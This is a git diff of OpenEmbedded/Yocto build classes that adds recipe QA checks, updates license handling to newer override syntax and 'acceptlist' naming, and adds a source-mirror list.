+ msg += "The context lines in the patches can be updated with devtool:\n"
+ msg += "\n"
+ msg += " devtool modify %s\n" % d.getVar('PN')
+ msg += " devtool finish --force-patch-refresh %s <layer_path>\n\n" % d.getVar('PN')
+ msg += "Don't forget to review changes done by devtool!\n"
+ msg += "\nPatch log indicates that patches do not apply cleanly."
+ oe.qa.handle_error("patch-fuzz", msg, d)
+
+ # Check if the patch contains a correctly formatted and spelled Upstream-Status
+ import re
+ from oe import patch
+
+ for url in patch.src_patches(d):
+ (_, _, fullpath, _, _, _) = bb.fetch.decodeurl(url)
+
+ msg = oe.qa.check_upstream_status(fullpath)
+ if msg:
+ oe.qa.handle_error("patch-status", msg, d)
+
+ ###########################################################################
+ # Check for missing ptests
+ ###########################################################################
+ def match_line_in_files(toplevel, filename_glob, line_regex):
+ import pathlib
+ try:
+ toppath = pathlib.Path(toplevel)
+ for entry in toppath.glob(filename_glob):
+ try:
+ with open(entry, 'r', encoding='utf-8', errors='ignore') as f:
+ for line in f.readlines():
+ if re.match(line_regex, line):
+ return True
+ except FileNotFoundError:
+ # Broken symlink in source
+ pass
+ except FileNotFoundError:
+ # pathlib.Path.glob() might throw this when file/directory
+ # disappear while scanning.
+ bb.note("unimplemented-ptest: FileNotFoundError exception while scanning (disappearing file while scanning?). Check was ignored." % d.getVar('PN'))
+ pass
+ return False
+
+ srcdir = d.getVar('S')
+ if not bb.utils.contains('DISTRO_FEATURES', 'ptest', True, False, d):
+ pass
+ elif bb.data.inherits_class('ptest', d):
+ bb.note("Package %s QA: skipping unimplemented-ptest: ptest implementation detected" % d.getVar('PN'))
+ elif srcdir == d.getVar('WORKDIR'):
+ bb.note("Package %s QA: skipping unimplemented-ptest: This check is not supported for recipe with \"S = \"${WORKDIR}\"" % d.getVar('PN'))
+
+ # Detect perl Test:: based tests
+ elif os.path.exists(os.path.join(srcdir, "t")) and any(filename.endswith('.t') for filename in os.listdir(os.path.join(srcdir, 't'))):
+ oe.qa.handle_error("unimplemented-ptest", "%s: perl Test:: based tests detected" % d.getVar('PN'), d)
+
+ # Detect pytest-based tests
+ elif match_line_in_files(srcdir, "**/*.py", r'\s*(?:import\s*pytest|from\s*pytest)'):
+ oe.qa.handle_error("unimplemented-ptest", "%s: pytest-based tests detected" % d.getVar('PN'), d)
+
+ # Detect meson-based tests
+ elif os.path.exists(os.path.join(srcdir, "meson.build")) and match_line_in_files(srcdir, "**/meson.build", r'\s*test\s*\('):
+ oe.qa.handle_error("unimplemented-ptest", "%s: meson-based tests detected" % d.getVar('PN'), d)
+
+ # Detect cmake-based tests
+ elif os.path.exists(os.path.join(srcdir, "CMakeLists.txt")) and match_line_in_files(srcdir, "**/CMakeLists.txt", r'\s*(?:add_test|enable_testing)\s*\('):
+ oe.qa.handle_error("unimplemented-ptest", "%s: cmake-based tests detected" % d.getVar('PN'), d)
+
+ # Detect autotools-based·tests
+ elif os.path.exists(os.path.join(srcdir, "Makefile.in")) and (match_line_in_files(srcdir, "**/Makefile.in", r'\s*TESTS\s*\+?=') or match_line_in_files(srcdir,"**/*.at",r'.*AT_INIT')):
+ oe.qa.handle_error("unimplemented-ptest", "%s: autotools-based tests detected" % d.getVar('PN'), d)
+
+ # Last resort, detect a test directory in sources
+ elif any(filename.lower() in ["test", "tests"] for filename in os.listdir(srcdir)):
+ oe.qa.handle_error("unimplemented-ptest", "%s: test subdirectory detected" % d.getVar('PN'), d)
+
+ oe.qa.exit_if_errors(d)
+}
+
+python do_qa_configure() {
+ import subprocess
+
+ ###########################################################################
+ # Check config.log for cross compile issues
+ ###########################################################################
+
+ configs = []
+ workdir = d.getVar('WORKDIR')
+
+ skip = (d.getVar('INSANE_SKIP') or "").split()
+ skip_configure_unsafe = False
+ if 'configure-unsafe' in skip:
+ bb.note("Recipe %s skipping qa checking: configure-unsafe" % d.getVar('PN'))
+ skip_configure_unsafe = True
+
+ if bb.data.inherits_class('autotools', d) and not skip_configure_unsafe:
+ bb.note("Checking autotools environment for common misconfiguration")
+ for root, dirs, files in os.walk(workdir):
+ statement = "grep -q -F -e 'is unsafe for cross-compilation' %s" % \
+ os.path.join(root,"config.log")
+ if "config.log" in files:
+ if subprocess.call(statement, shell=True) == 0:
+ error_msg = """This autoconf log indicates errors, it looked at host include and/or library paths while determining system capabilities.
+Rerun configure task after fixing this."""
+ oe.qa.handle_error("configure-unsafe", error_msg, d)
+
+ if "configure.ac" in files:
+ configs.append(os.path.join(root,"configure.ac"))
+ if "configure.in" in files:
+ configs.append(os.path.join(root, "configure.in"))
+
+ ###########################################################################
+ # Check gettext configuration and dependencies are correct
+ ###########################################################################
+
+ skip_configure_gettext = False
+ if 'configure-gettext' in skip:
+ bb.note("Recipe %s skipping qa checking: configure-gettext" % d.getVar('PN'))
+ skip_configure_gettext = True
+
+ cnf = d.getVar('EXTRA_OECONF') or ""
+ if not ("gettext" in d.getVar('P') or "gcc-runtime" in d.getVar('P') or \
+ "--disable-nls" in cnf or skip_configure_gettext):
+ ml = d.getVar("MLPREFIX") or ""
+ if bb.data.inherits_class('cross-canadian', d):
+ gt = "nativesdk-gettext"
+ else:
+ gt = "gettext-native"
+ deps = bb.utils.explode_deps(d.getVar('DEPENDS') or "")
+ if gt not in deps:
+ for config in configs:
+ gnu = "grep \"^[[:space:]]*AM_GNU_GETTEXT\" %s >/dev/null" % config
+ if subprocess.call(gnu, shell=True) == 0:
+ error_msg = "AM_GNU_GETTEXT used but no inherit gettext"
+ oe.qa.handle_error("configure-gettext", error_msg, d)
+
+ ###########################################################################
+ # Check unrecognised configure options (with a white list)
+ ###########################################################################
+ if bb.data.inherits_class("autotools", d):
+ bb.note("Checking configure output for unrecognised options")
+ try:
+ if bb.data.inherits_class("autotools", d):
+ flag = "WARNING: unrecognized options:"
+ log = os.path.join(d.getVar('B'), 'config.log')
+ output = subprocess.check_output(['grep', '-F', flag, log]).decode("utf-8").replace(', ', ' ').replace('"', '')
+ options = set()
+ for line in output.splitlines():
+ options |= set(line.partition(flag)[2].split())
+ ignore_opts = set(d.getVar("UNKNOWN_CONFIGURE_OPT_IGNORE").split())
+ options -= ignore_opts
+ if options:
+ pn = d.getVar('PN')
+ error_msg = pn + ": configure was passed unrecognised options: " + " ".join(options)
+ oe.qa.handle_error("unknown-configure-option", error_msg, d)
+ except subprocess.CalledProcessError:
+ pass
+
+ # Check invalid PACKAGECONFIG
+ pkgconfig = (d.getVar("PACKAGECONFIG") or "").split()
+ if pkgconfig:
+ pkgconfigflags = d.getVarFlags("PACKAGECONFIG") or {}
+ for pconfig in pkgconfig:
+ if pconfig not in pkgconfigflags:
+ pn = d.getVar('PN')
+ error_msg = "%s: invalid PACKAGECONFIG: %s" % (pn, pconfig)
+ oe.qa.handle_error("invalid-packageconfig", error_msg, d)
+
+ oe.qa.exit_if_errors(d)
+}
+
+python do_qa_unpack() {
+ src_uri = d.getVar('SRC_URI')
+ s_dir = d.getVar('S')
+ if src_uri and not os.path.exists(s_dir):
+ bb.warn('%s: the directory %s (%s) pointed to by the S variable doesn\'t exist - please set S within the recipe to point to where the source has been unpacked to' % (d.getVar('PN'), d.getVar('S', False), s_dir))
+}
+
+python do_recipe_qa() {
+ import re
+
+ def test_missing_metadata(pn, d):
+ fn = d.getVar("FILE")
+ srcfile = d.getVar('SRC_URI').split()
+ # Check that SUMMARY is not the same as the default from bitbake.conf
+ if d.getVar('SUMMARY') == d.expand("${PN} version ${PV}-${PR}"):
+ oe.qa.handle_error("missing-metadata", "Recipe {} in {} does not contain a SUMMARY. Please add an entry.".format(pn, fn), d)
+ if not d.getVar('HOMEPAGE'):
+ if srcfile and srcfile[0].startswith('file') or not d.getVar('SRC_URI'):
+ # We are only interested in recipes SRC_URI fetched from external sources
+ pass
+ else:
+ oe.qa.handle_error("missing-metadata", "Recipe {} in {} does not contain a HOMEPAGE. Please add an entry.".format(pn, fn), d)
+
+ def test_missing_maintainer(pn, d):
+ fn = d.getVar("FILE")
+ if pn.endswith("-native") or pn.startswith("nativesdk-") or "packagegroup-" in pn or "core-image-ptest-" in pn:
+ return
+ if not d.getVar('RECIPE_MAINTAINER'):
+ oe.qa.handle_error("missing-maintainer", "Recipe {} in {} does not have an assigned maintainer. Please add an entry into meta/conf/distro/include/maintainers.inc.".format(pn, fn), d)
+
+ def test_srcuri(pn, d):
+ skip = (d.getVar('INSANE_SKIP') or "").split()
+ if 'src-uri-bad' in skip:
+ bb.note("Recipe %s skipping qa checking: src-uri-bad" % pn)
+ return
+
+ if "${PN}" in d.getVar("SRC_URI", False):
+ oe.qa.handle_error("src-uri-bad", "%s: SRC_URI uses PN not BPN" % pn, d)
+
+ for url in d.getVar("SRC_URI").split():
+ # Search for github and gitlab URLs that pull unstable archives (comment for future greppers)
+ if re.search(r"git(hu|la)b\.com/.+/.+/archive/.+", url) or "//codeload.github.com/" in url:
+ oe.qa.handle_error("src-uri-bad", "%s: SRC_URI uses unstable GitHub/GitLab archives, convert recipe to use git protocol" % pn, d)
+
+ pn = d.getVar('PN')
+ test_missing_metadata(pn, d)
+ test_missing_maintainer(pn, d)
+ test_srcuri(pn, d)
+ oe.qa.exit_if_errors(d)
+}
+
+addtask do_recipe_qa before do_fetch do_package_qa do_build
+
+SSTATETASKS += "do_recipe_qa"
+do_recipe_qa[sstate-inputdirs] = ""
+do_recipe_qa[sstate-outputdirs] = ""
+python do_recipe_qa_setscene () {
+ sstate_setscene(d)
+}
+addtask do_recipe_qa_setscene
+
+# Check for patch fuzz
+do_patch[postfuncs] += "do_qa_patch "
+
+# Check broken config.log files, for packages requiring Gettext which
+# don't have it in DEPENDS.
+#addtask qa_configure after do_configure before do_compile
+do_configure[postfuncs] += "do_qa_configure "
+
+# Check does S exist.
+do_unpack[postfuncs] += "do_qa_unpack"
+
+python () {
+ import re
+
+ tests = d.getVar('ALL_QA').split()
+ if "desktop" in tests:
+ d.appendVar("PACKAGE_DEPENDS", " desktop-file-utils-native")
+
+ ###########################################################################
+ # Check various variables
+ ###########################################################################
+
+ # Checking ${FILESEXTRAPATHS}
+ extrapaths = (d.getVar("FILESEXTRAPATHS") or "")
+ if '__default' not in extrapaths.split(":"):
+ msg = "FILESEXTRAPATHS-variable, must always use :prepend (or :append)\n"
+ msg += "type of assignment, and don't forget the colon.\n"
+ msg += "Please assign it with the format of:\n"
+ msg += " FILESEXTRAPATHS:append := \":${THISDIR}/Your_Files_Path\" or\n"
+ msg += " FILESEXTRAPATHS:prepend := \"${THISDIR}/Your_Files_Path:\"\n"
+ msg += "in your bbappend file\n\n"
+ msg += "Your incorrect assignment is:\n"
+ msg += "%s\n" % extrapaths
+ bb.warn(msg)
+
+ overrides = d.getVar('OVERRIDES').split(':')
+ pn = d.getVar('PN')
+ if pn in overrides:
+ msg = 'Recipe %s has PN of "%s" which is in OVERRIDES, this can result in unexpected behaviour.' % (d.getVar("FILE"), pn)
+ oe.qa.handle_error("pn-overrides", msg, d)
+ prog = re.compile(r'[A-Z]')
+ if prog.search(pn):
+ oe.qa.handle_error("uppercase-pn", 'PN: %s is upper case, this can result in unexpected behavior.' % pn, d)
+
+ # Some people mistakenly use DEPENDS:${PN} instead of DEPENDS and wonder
+ # why it doesn't work.
+ if (d.getVar(d.expand('DEPENDS:${PN}'))):
+ oe.qa.handle_error("pkgvarcheck", "recipe uses DEPENDS:${PN}, should use DEPENDS", d)
+
+ # virtual/ is meaningless for these variables
+ if "virtual-slash" in (d.getVar("ALL_QA") or "").split():
+ for k in ['RDEPENDS', 'RPROVIDES']:
+ for var in bb.utils.explode_deps(d.getVar(k + ':' + pn) or ""):
+ if var.startswith("virtual/"):
+ oe.qa.handle_error("virtual-slash", "%s is set to %s but the substring 'virtual/' holds no meaning in this context. It only works for build time dependencies, not runtime ones. It is suggested to use 'VIRTUAL-RUNTIME_' variables instead." % (k, var), d)
+
+ issues = []
+ if (d.getVar('PACKAGES') or "").split():
+ for dep in (d.getVar('QADEPENDS') or "").split():
+ d.appendVarFlag('do_package_qa', 'depends', " %s:do_populate_sysroot" % dep)
+ for var in 'RDEPENDS', 'RRECOMMENDS', 'RSUGGESTS', 'RCONFLICTS', 'RPROVIDES', 'RREPLACES', 'FILES', 'pkg_preinst', 'pkg_postinst', 'pkg_prerm', 'pkg_postrm', 'ALLOW_EMPTY':
+ if d.getVar(var, False):
+ issues.append(var)
+
+ fakeroot_tests = d.getVar('FAKEROOT_QA').split()
+ if set(tests) & set(fakeroot_tests):
+ d.setVarFlag('do_package_qa', 'fakeroot', '1')
+ d.appendVarFlag('do_package_qa', 'depends', ' virtual/fakeroot-native:do_populate_sysroot')
+ else:
+ d.setVarFlag('do_package_qa', 'rdeptask', '')
+ for i in issues:
+ oe.qa.handle_error("pkgvarcheck", "%s: Variable %s is set as not being package specific, please fix this." % (d.getVar("FILE"), i), d)
+
+ if 'native-last' not in (d.getVar('INSANE_SKIP') or "").split():
+ for native_class in ['native', 'nativesdk']:
+ if bb.data.inherits_class(native_class, d):
+
+ inherited_classes = d.getVar('__inherit_cache', False) or []
+ needle = "/" + native_class
+
+ bbclassextend = (d.getVar('BBCLASSEXTEND') or '').split()
+ # BBCLASSEXTEND items are always added in the end
+ skip_classes = bbclassextend
+ if bb.data.inherits_class('native', d) or 'native' in bbclassextend:
+ # native also inherits nopackages and relocatable bbclasses
+ skip_classes.extend(['nopackages', 'relocatable'])
+
+ broken_order = []
+ for class_item in reversed(inherited_classes):
+ if needle not in class_item:
+ for extend_item in skip_classes:
+ if '/%s.bbclass' % extend_item in class_item:
+ break
+ else:
+ pn = d.getVar('PN')
+ broken_order.append(os.path.basename(class_item))
+ else:
+ break
+ if broken_order:
+ oe.qa.handle_error("native-last", "%s: native/nativesdk class is not inherited last, this can result in unexpected behaviour. "
+ "Classes inherited after native/nativesdk: %s" % (pn, " ".join(broken_order)), d)
+
+ oe.qa.exit_if_errors(d)
+}
diff --git a/meta/classes/license.bbclass b/meta/classes-global/license.bbclass
index f90176d6c0..b2e0d3faba 100644
--- a/meta/classes/license.bbclass
+++ b/meta/classes-global/license.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# Populates LICENSE_DIRECTORY as set in distro config with the license files as set by
# LIC_FILES_CHKSUM.
# TODO:
@@ -6,7 +12,7 @@
LICENSE_DIRECTORY ??= "${DEPLOY_DIR}/licenses"
LICSSTATEDIR = "${WORKDIR}/license-destdir/"
-# Create extra package with license texts and add it to RRECOMMENDS_${PN}
+# Create extra package with license texts and add it to RRECOMMENDS:${PN}
LICENSE_CREATE_PACKAGE[type] = "boolean"
LICENSE_CREATE_PACKAGE ??= "0"
LICENSE_PACKAGE_SUFFIX ??= "-lic"
@@ -23,16 +29,18 @@ python do_populate_lic() {
lic_files_paths = find_license_files(d)
# The base directory we wrangle licenses to
- destdir = os.path.join(d.getVar('LICSSTATEDIR'), d.getVar('PN'))
+ destdir = os.path.join(d.getVar('LICSSTATEDIR'), d.getVar('SSTATE_PKGARCH'), d.getVar('PN'))
copy_license_files(lic_files_paths, destdir)
info = get_recipe_info(d)
with open(os.path.join(destdir, "recipeinfo"), "w") as f:
for key in sorted(info.keys()):
f.write("%s: %s\n" % (key, info[key]))
+ oe.qa.exit_if_errors(d)
}
-# it would be better to copy them in do_install_append, but find_license_filesa is python
-python perform_packagecopy_prepend () {
+PSEUDO_IGNORE_PATHS .= ",${@','.join(((d.getVar('COMMON_LICENSE_DIR') or '') + ' ' + (d.getVar('LICENSE_PATH') or '') + ' ' + d.getVar('COREBASE') + '/meta/COPYING').split())}"
+# it would be better to copy them in do_install:append, but find_license_filesa is python
+python perform_packagecopy:prepend () {
enabled = oe.data.typed_value('LICENSE_CREATE_PACKAGE', d)
if d.getVar('CLASSOVERRIDE') == 'class-target' and enabled:
lic_files_paths = find_license_files(d)
@@ -61,15 +69,7 @@ def add_package_and_files(d):
else:
# first in PACKAGES to be sure that nothing else gets LICENSE_FILES_DIRECTORY
d.setVar('PACKAGES', "%s %s" % (pn_lic, packages))
- d.setVar('FILES_' + pn_lic, files)
- for pn in packages.split():
- if pn == pn_lic:
- continue
- rrecommends_pn = d.getVar('RRECOMMENDS_' + pn)
- if rrecommends_pn:
- d.setVar('RRECOMMENDS_' + pn, "%s %s" % (pn_lic, rrecommends_pn))
- else:
- d.setVar('RRECOMMENDS_' + pn, "%s" % (pn_lic))
+ d.setVar('FILES:' + pn_lic, files)
def copy_license_files(lic_files_paths, destdir):
import shutil
@@ -90,17 +90,17 @@ def copy_license_files(lic_files_paths, destdir):
os.link(src, dst)
except OSError as err:
if err.errno == errno.EXDEV:
- # Copy license files if hard-link is not possible even if st_dev is the
+ # Copy license files if hardlink is not possible even if st_dev is the
# same on source and destination (docker container with device-mapper?)
canlink = False
else:
raise
- # Only chown if we did hardling, and, we're running under pseudo
+ # Only chown if we did hardlink and we're running under pseudo
if canlink and os.environ.get('PSEUDO_DISABLED') == '0':
os.chown(dst,0,0)
if not canlink:
- begin_idx = int(beginline)-1 if beginline is not None else None
- end_idx = int(endline) if endline is not None else None
+ begin_idx = max(0, int(beginline) - 1) if beginline is not None else None
+ end_idx = max(0, int(endline)) if endline is not None else None
if begin_idx is None and end_idx is None:
shutil.copyfile(src, dst)
else:
@@ -152,6 +152,10 @@ def find_license_files(d):
find_license(node.s.replace("+", "").replace("*", ""))
self.generic_visit(node)
+ def visit_Constant(self, node):
+ find_license(node.value.replace("+", "").replace("*", ""))
+ self.generic_visit(node)
+
def find_license(license_type):
try:
bb.utils.mkdirhier(gen_lic_dest)
@@ -185,7 +189,8 @@ def find_license_files(d):
# The user may attempt to use NO_GENERIC_LICENSE for a generic license which doesn't make sense
# and should not be allowed, warn the user in this case.
if d.getVarFlag('NO_GENERIC_LICENSE', license_type):
- bb.warn("%s: %s is a generic license, please don't use NO_GENERIC_LICENSE for it." % (pn, license_type))
+ oe.qa.handle_error("license-no-generic",
+ "%s: %s is a generic license, please don't use NO_GENERIC_LICENSE for it." % (pn, license_type), d)
elif non_generic_lic and non_generic_lic in lic_chksums:
# if NO_GENERIC_LICENSE is set, we copy the license files from the fetched source
@@ -194,10 +199,11 @@ def find_license_files(d):
os.path.join(srcdir, non_generic_lic), None, None))
non_generic_lics[non_generic_lic] = license_type
else:
- # Add explicity avoid of CLOSED license because this isn't generic
+ # Explicitly avoid the CLOSED license because this isn't generic
if license_type != 'CLOSED':
# And here is where we warn people that their licenses are lousy
- bb.warn("%s: No generic license file exists for: %s in any provider" % (pn, license_type))
+ oe.qa.handle_error("license-exists",
+ "%s: No generic license file exists for: %s in any provider" % (pn, license_type), d)
pass
if not generic_directory:
@@ -222,7 +228,8 @@ def find_license_files(d):
except oe.license.InvalidLicense as exc:
bb.fatal('%s: %s' % (d.getVar('PF'), exc))
except SyntaxError:
- bb.warn("%s: Failed to parse it's LICENSE field." % (d.getVar('PF')))
+ oe.qa.handle_error("license-syntax",
+ "%s: Failed to parse LICENSE: %s" % (d.getVar('PF'), d.getVar('LICENSE')), d)
# Add files from LIC_FILES_CHKSUM to list of license files
lic_chksum_paths = defaultdict(OrderedDict)
for path, data in sorted(lic_chksums.items()):
@@ -251,54 +258,34 @@ def return_spdx(d, license):
def canonical_license(d, license):
"""
Return the canonical (SPDX) form of the license if available (so GPLv3
- becomes GPL-3.0), for the license named 'X+', return canonical form of
- 'X' if available and the tailing '+' (so GPLv3+ becomes GPL-3.0+),
- or the passed license if there is no canonical form.
- """
- lic = d.getVarFlag('SPDXLICENSEMAP', license) or ""
- if not lic and license.endswith('+'):
- lic = d.getVarFlag('SPDXLICENSEMAP', license.rstrip('+'))
- if lic:
- lic += '+'
- return lic or license
-
-def available_licenses(d):
+ becomes GPL-3.0-only) or the passed license if there is no canonical form.
"""
- Return the available licenses by searching the directories specified by
- COMMON_LICENSE_DIR and LICENSE_PATH.
- """
- lic_dirs = ((d.getVar('COMMON_LICENSE_DIR') or '') + ' ' +
- (d.getVar('LICENSE_PATH') or '')).split()
-
- licenses = []
- for lic_dir in lic_dirs:
- licenses += os.listdir(lic_dir)
-
- licenses = sorted(licenses)
- return licenses
-
-# Only determine the list of all available licenses once. This assumes that any
-# additions to LICENSE_PATH have been done before this file is parsed.
-AVAILABLE_LICENSES := "${@' '.join(available_licenses(d))}"
+ return d.getVarFlag('SPDXLICENSEMAP', license) or license
def expand_wildcard_licenses(d, wildcard_licenses):
"""
- Return actual spdx format license names if wildcards are used. We expand
- wildcards from SPDXLICENSEMAP flags and AVAILABLE_LICENSES.
+ There are some common wildcard values users may want to use. Support them
+ here.
"""
- import fnmatch
- licenses = wildcard_licenses[:]
- spdxmapkeys = d.getVarFlags('SPDXLICENSEMAP').keys()
- for wld_lic in wildcard_licenses:
- spdxflags = fnmatch.filter(spdxmapkeys, wld_lic)
- licenses += [d.getVarFlag('SPDXLICENSEMAP', flag) for flag in spdxflags]
+ licenses = set(wildcard_licenses)
+ mapping = {
+ "AGPL-3.0*" : ["AGPL-3.0-only", "AGPL-3.0-or-later"],
+ "GPL-3.0*" : ["GPL-3.0-only", "GPL-3.0-or-later"],
+ "LGPL-3.0*" : ["LGPL-3.0-only", "LGPL-3.0-or-later"],
+ }
+ for k in mapping:
+ if k in wildcard_licenses:
+ licenses.remove(k)
+ for item in mapping[k]:
+ licenses.add(item)
- spdx_lics = d.getVar('AVAILABLE_LICENSES').split()
- for wld_lic in wildcard_licenses:
- licenses += fnmatch.filter(spdx_lics, wld_lic)
+ for l in licenses:
+ if l in oe.license.obsolete_license_list():
+ bb.fatal("Error, %s is an obsolete license, please use an SPDX reference in INCOMPATIBLE_LICENSE" % l)
+ if "*" in l:
+ bb.fatal("Error, %s is an invalid license wildcard entry" % l)
- licenses = list(set(licenses))
- return licenses
+ return list(licenses)
def incompatible_license_contains(license, truevalue, falsevalue, d):
license = canonical_license(d, license)
@@ -333,7 +320,7 @@ def incompatible_license(d, dont_want_licenses, package=None):
as canonical (SPDX) names.
"""
import oe.license
- license = d.getVar("LICENSE_%s" % package) if package else None
+ license = d.getVar("LICENSE:%s" % package) if package else None
if not license:
license = d.getVar('LICENSE')
@@ -342,30 +329,31 @@ def incompatible_license(d, dont_want_licenses, package=None):
def check_license_flags(d):
"""
This function checks if a recipe has any LICENSE_FLAGS that
- aren't whitelisted.
+ aren't acceptable.
- If it does, it returns the all LICENSE_FLAGS missing from the whitelist, or
- all of the LICENSE_FLAGS if there is no whitelist.
+ If it does, it returns the all LICENSE_FLAGS missing from the list
+ of acceptable license flags, or all of the LICENSE_FLAGS if there
+ is no list of acceptable flags.
- If everything is is properly whitelisted, it returns None.
+ If everything is is acceptable, it returns None.
"""
- def license_flag_matches(flag, whitelist, pn):
+ def license_flag_matches(flag, acceptlist, pn):
"""
- Return True if flag matches something in whitelist, None if not.
+ Return True if flag matches something in acceptlist, None if not.
- Before we test a flag against the whitelist, we append _${PN}
+ Before we test a flag against the acceptlist, we append _${PN}
to it. We then try to match that string against the
- whitelist. This covers the normal case, where we expect
+ acceptlist. This covers the normal case, where we expect
LICENSE_FLAGS to be a simple string like 'commercial', which
- the user typically matches exactly in the whitelist by
+ the user typically matches exactly in the acceptlist by
explicitly appending the package name e.g 'commercial_foo'.
If we fail the match however, we then split the flag across
'_' and append each fragment and test until we either match or
run out of fragments.
"""
flag_pn = ("%s_%s" % (flag, pn))
- for candidate in whitelist:
+ for candidate in acceptlist:
if flag_pn == candidate:
return True
@@ -376,27 +364,27 @@ def check_license_flags(d):
if flag_cur:
flag_cur += "_"
flag_cur += flagment
- for candidate in whitelist:
+ for candidate in acceptlist:
if flag_cur == candidate:
return True
return False
- def all_license_flags_match(license_flags, whitelist):
+ def all_license_flags_match(license_flags, acceptlist):
""" Return all unmatched flags, None if all flags match """
pn = d.getVar('PN')
- split_whitelist = whitelist.split()
+ split_acceptlist = acceptlist.split()
flags = []
for flag in license_flags.split():
- if not license_flag_matches(flag, split_whitelist, pn):
+ if not license_flag_matches(flag, split_acceptlist, pn):
flags.append(flag)
return flags if flags else None
license_flags = d.getVar('LICENSE_FLAGS')
if license_flags:
- whitelist = d.getVar('LICENSE_FLAGS_WHITELIST')
- if not whitelist:
+ acceptlist = d.getVar('LICENSE_FLAGS_ACCEPTED')
+ if not acceptlist:
return license_flags.split()
- unmatched_flags = all_license_flags_match(license_flags, whitelist)
+ unmatched_flags = all_license_flags_match(license_flags, acceptlist)
if unmatched_flags:
return unmatched_flags
return None
@@ -415,20 +403,22 @@ def check_license_format(d):
for pos, element in enumerate(elements):
if license_pattern.match(element):
if pos > 0 and license_pattern.match(elements[pos - 1]):
- bb.warn('%s: LICENSE value "%s" has an invalid format - license names ' \
+ oe.qa.handle_error('license-format',
+ '%s: LICENSE value "%s" has an invalid format - license names ' \
'must be separated by the following characters to indicate ' \
'the license selection: %s' %
- (pn, licenses, license_operator_chars))
+ (pn, licenses, license_operator_chars), d)
elif not license_operator.match(element):
- bb.warn('%s: LICENSE value "%s" has an invalid separator "%s" that is not ' \
+ oe.qa.handle_error('license-format',
+ '%s: LICENSE value "%s" has an invalid separator "%s" that is not ' \
'in the valid list of separators (%s)' %
- (pn, licenses, element, license_operator_chars))
+ (pn, licenses, element, license_operator_chars), d)
SSTATETASKS += "do_populate_lic"
do_populate_lic[sstate-inputdirs] = "${LICSSTATEDIR}"
do_populate_lic[sstate-outputdirs] = "${LICENSE_DIRECTORY}/"
-IMAGE_CLASSES_append = " license_image"
+IMAGE_CLASSES:append = " license_image"
python do_populate_lic_setscene () {
sstate_setscene(d)
diff --git a/meta/classes/logging.bbclass b/meta/classes-global/logging.bbclass
index a0c94e98c7..ce03abfe42 100644
--- a/meta/classes/logging.bbclass
+++ b/meta/classes-global/logging.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# The following logging mechanisms are to be used in bash functions of recipes.
# They are intended to map one to one in intention and output format with the
# python recipe logging functions of a similar naming convention: bb.plain(),
diff --git a/meta/classes-global/mirrors.bbclass b/meta/classes-global/mirrors.bbclass
new file mode 100644
index 0000000000..862648eec5
--- /dev/null
+++ b/meta/classes-global/mirrors.bbclass
@@ -0,0 +1,104 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+MIRRORS += "\
+${DEBIAN_MIRROR} http://snapshot.debian.org/archive/debian/20180310T215105Z/pool \
+${DEBIAN_MIRROR} http://snapshot.debian.org/archive/debian-archive/20120328T092752Z/debian/pool \
+${DEBIAN_MIRROR} http://snapshot.debian.org/archive/debian-archive/20110127T084257Z/debian/pool \
+${DEBIAN_MIRROR} http://snapshot.debian.org/archive/debian-archive/20090802T004153Z/debian/pool \
+${DEBIAN_MIRROR} http://ftp.de.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.au.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.cl.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.hr.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.fi.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.hk.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.hu.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.ie.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.it.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.jp.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.no.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.pl.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.ro.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.si.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.es.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.se.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.tr.debian.org/debian/pool \
+${GNU_MIRROR} https://mirrors.kernel.org/gnu \
+${KERNELORG_MIRROR} http://www.kernel.org/pub \
+${GNUPG_MIRROR} ftp://ftp.gnupg.org/gcrypt \
+${GNUPG_MIRROR} ftp://ftp.franken.de/pub/crypt/mirror/ftp.gnupg.org/gcrypt \
+${GNUPG_MIRROR} ftp://mirrors.dotsrc.org/gcrypt \
+ftp://dante.ctan.org/tex-archive ftp://ftp.fu-berlin.de/tex/CTAN \
+ftp://dante.ctan.org/tex-archive http://sunsite.sut.ac.jp/pub/archives/ctan/ \
+ftp://dante.ctan.org/tex-archive http://ctan.unsw.edu.au/ \
+ftp://ftp.gnutls.org/gcrypt/gnutls ${GNUPG_MIRROR}/gnutls \
+http://ftp.info-zip.org/pub/infozip/src/ ftp://sunsite.icm.edu.pl/pub/unix/archiving/info-zip/src/ \
+http://www.mirrorservice.org/sites/lsof.itap.purdue.edu/pub/tools/unix/lsof/ http://www.mirrorservice.org/sites/lsof.itap.purdue.edu/pub/tools/unix/lsof/OLD/ \
+${APACHE_MIRROR} http://www.us.apache.org/dist \
+${APACHE_MIRROR} http://archive.apache.org/dist \
+http://downloads.sourceforge.net/watchdog/ http://fossies.org/linux/misc/ \
+${SAVANNAH_GNU_MIRROR} http://download-mirror.savannah.gnu.org/releases \
+${SAVANNAH_NONGNU_MIRROR} http://download-mirror.savannah.nongnu.org/releases \
+ftp://sourceware.org/pub http://mirrors.kernel.org/sourceware \
+ftp://sourceware.org/pub http://gd.tuwien.ac.at/gnu/sourceware \
+ftp://sourceware.org/pub http://ftp.gwdg.de/pub/linux/sources.redhat.com/sourceware \
+cvs://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \
+svn://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \
+git://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \
